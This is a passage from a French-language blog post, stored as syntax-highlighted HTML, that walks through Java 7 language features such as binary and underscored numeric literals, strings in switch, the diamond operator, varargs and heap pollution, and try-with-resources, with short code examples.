&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aByte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mb"&gt;0b00100001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// A 16-bit &amp;#39;short&amp;#39; value:&lt;/span&gt;
&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aShort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mb"&gt;0b1010000101000101&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Some 32-bit &amp;#39;int&amp;#39; values:&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;anInt1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0b10100001010001011010000101000101&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;anInt2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0b101&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;anInt3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0B101&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The B can be upper or lower case.&lt;/span&gt;

&lt;span class="c1"&gt;// A 64-bit &amp;#39;long&amp;#39; value. Note the &amp;quot;L&amp;quot; suffix:&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aLong&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mb"&gt;0b1010000101000101101000010100010110100001010001011010000101000101L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Underscores in Numeric Literals&lt;/h2&gt;
&lt;p&gt;Il est possible d&amp;rsquo;ajouter des underscore (&lt;code&gt;_&lt;/code&gt;) entre les chiffres (&lt;em&gt;underscores literals&lt;/em&gt;) afin d&amp;rsquo;accroître la lisibilité (pour séparer les milliers par exemple).&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/underscores-literals.html"&gt;java.net&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;creditCardNumber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1234_5678_9012_3456L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;socialSecurityNumber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;999_99_9999L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;3.14_15F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hexBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFF_EC_DE_5E&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hexWords&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xCAFE_BABE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;maxLong&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7fff_ffff_ffff_ffffL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nybbles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0b0010_0101&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0b11010010_01101001_10010100_10010010&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Strings in switch&lt;/h2&gt;
&lt;p&gt;Simplement permettre l&amp;rsquo;ajout de type String dans un switch (&lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/strings-switch.html"&gt;&lt;em&gt;string in switch&lt;/em&gt;&lt;/a&gt;). La discussion, démarre là.&lt;/p&gt;
&lt;p&gt;On peut donc écrire;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// initialize string&lt;/span&gt;
&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;One&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// manage case 1 &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Two&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Three&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// manage 2 and 3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Comme &lt;a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-February/000001.html"&gt;ce document en parle&lt;/a&gt; on pourrait reprocher que cette évolution est plus coûteuse mais l&amp;rsquo;utilisation de &lt;em&gt;if-then-else&lt;/em&gt; imbriqués l&amp;rsquo;est sans doute tout autant.&lt;/p&gt;
&lt;h2&gt;Type Inference for Generic Instance Creation (diamond)&lt;/h2&gt;
&lt;p&gt;Lors de l&amp;rsquo;invocation d&amp;rsquo;un constructeur sur un type générique, il n&amp;rsquo;est plus utile de répéter les types entre les chevrons. Des chevrons vides suffisent (&lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;). On appelle cet opérateur, diamond.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can replace the type arguments required to invoke the constructor of a generic class with an empty set of type parameters (&amp;lt;&amp;gt;) as long as the compiler can infer the type arguments from the context. This pair of angle brackets is informally called the diamond.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Extrait de &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/type-inference-generic-instance-creation.html"&gt;java.net&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// before&lt;/span&gt;
&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myObjects&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// after&lt;/span&gt;
&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myObjects&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;//more &amp;quot;complex&amp;quot;, before&lt;/span&gt;
&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyValue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myKeyValues&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HasMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyValue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;//more &amp;quot;complex&amp;quot;, after&lt;/span&gt;
&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MyKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MyValue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myKeyValues&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HasMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Simplified Varargs Method Invocation&lt;/h2&gt;
&lt;p&gt;Ce que je retiens de ce document (&lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/non-reifiable-varargs.html"&gt;&lt;em&gt;non reifiable varags&lt;/em&gt;&lt;/a&gt;) relativement complexe est (la note de fin) que dans le contexte des &lt;em&gt;varargs&lt;/em&gt; c&amp;rsquo;est de la responsabilité du programmeur écrivant une méthode ayant des &lt;em&gt;varargs&lt;/em&gt; en paramètres, d&amp;rsquo;éviter une pollution du tas (&lt;em&gt;heap polution&lt;/em&gt;) alors qu&amp;rsquo;avant, c&amp;rsquo;était de la responsabilité du programmeur appelant la méthode.&lt;/p&gt;
&lt;h3&gt;Varargs&lt;/h3&gt;
&lt;p&gt;Pour rappel le nombre d&amp;rsquo;arguments variables (&lt;em&gt;varargs&lt;/em&gt;) permet un appel de méthode avec, comme son nom l&amp;rsquo;indique, un nombre variable d&amp;rsquo;arguments. À l&amp;rsquo;appel de la méthode, je passe un ou plusieurs arguments (voire un tableau) et la méthode les réceptionne dans un tableau.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;myMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// is is int[]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// call example&lt;/span&gt;
&lt;span class="n"&gt;myMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;myMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;myMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Remarque : il s&amp;rsquo;agit bien de &lt;em&gt;trois fois le caractère point &lt;code&gt;.&lt;/code&gt;&lt;/em&gt; et non du caractère &lt;em&gt;points de suspensions &lt;code&gt;…&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Heap pollution&lt;/h3&gt;
&lt;p&gt;La plupart des types paramétrés (&lt;em&gt;parameterized types&lt;/em&gt;, par exemple &lt;code&gt;List&amp;lt;String&amp;gt;&lt;/code&gt;) sont des &lt;em&gt;non-reifiable&lt;/em&gt; types, c&amp;rsquo;est-à-dire des types qui ne sont pas complètement disponible à l&amp;rsquo;exécution (&lt;em&gt;runtime&lt;/em&gt;). Pour assurer une compatibilité avec des bibliothèques (libraries) java plus anciennes (avant la notion de génériques &lt;em&gt;generics&lt;/em&gt;) le compilateur supprime les informations relatives aux types paramétrés.&lt;/p&gt;
&lt;p&gt;Une pollution du tas (&lt;em&gt;heap pollution&lt;/em&gt;) survient si une variable d&amp;rsquo;un certain type paramétré référence une variable d&amp;rsquo;un autre type. &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/non-reifiable-varargs.html"&gt;L&amp;rsquo;exemple donné chez java.net&lt;/a&gt; me donne l&amp;rsquo;impression qu&amp;rsquo;une telle &amp;ldquo;pollution&amp;rdquo; survient dans des cas très particuliers :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// unchecked warning&lt;/span&gt;
&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// another unchecked warning&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// ClassCastException is thrown&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On n&amp;rsquo;en saura pas plus aujourd&amp;rsquo;hui ;-)&lt;/p&gt;
&lt;h2&gt;The try-with-resources Statement&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;instruction &lt;code&gt;try&lt;/code&gt; avec ressources (&lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/try-with-resources.html"&gt;&lt;em&gt;try with resources&lt;/em&gt;&lt;/a&gt;) ou encore &lt;em&gt;automatic resource managment&lt;/em&gt; est une instruction &lt;code&gt;try&lt;/code&gt; permettant la déclaration de ressources (une ressource est un objet nécessitant un &lt;em&gt;close&lt;/em&gt; en fin de programme/bloc). &lt;/p&gt;
&lt;p&gt;Cette instruction assure que les ressources déclarées seront fermées en fin d&amp;rsquo;instruction.&lt;/p&gt;
&lt;p&gt;Seuls les objets implémentant l&amp;rsquo;interface &lt;code&gt;java.lang.AutoCloseable&lt;/code&gt; ou &lt;code&gt;java.io.Closeable&lt;/code&gt; peuvent être utilisés comme ressource. Les classes &lt;code&gt;java.io.InputStream&lt;/code&gt;, &lt;code&gt;OutputStream&lt;/code&gt;, &lt;code&gt;Reader&lt;/code&gt;, &lt;code&gt;Writer&lt;/code&gt;, &lt;code&gt;java.sql.Connection&lt;/code&gt;, &lt;code&gt;Statement&lt;/code&gt;, et &lt;code&gt;ResultSet&lt;/code&gt; ont été adaptées pour implémenter &lt;code&gt;AutoCloseable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Avant, pour lire une ligne dans un fichier, je pouvais écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;readFirstLineFromFileWithFinallyBloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;BufferedReader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BufferedReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLine&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;hellip; maintenant, je peux me contenter de (notez la présence des parenthèses après le try):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;readFirstLineFromFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
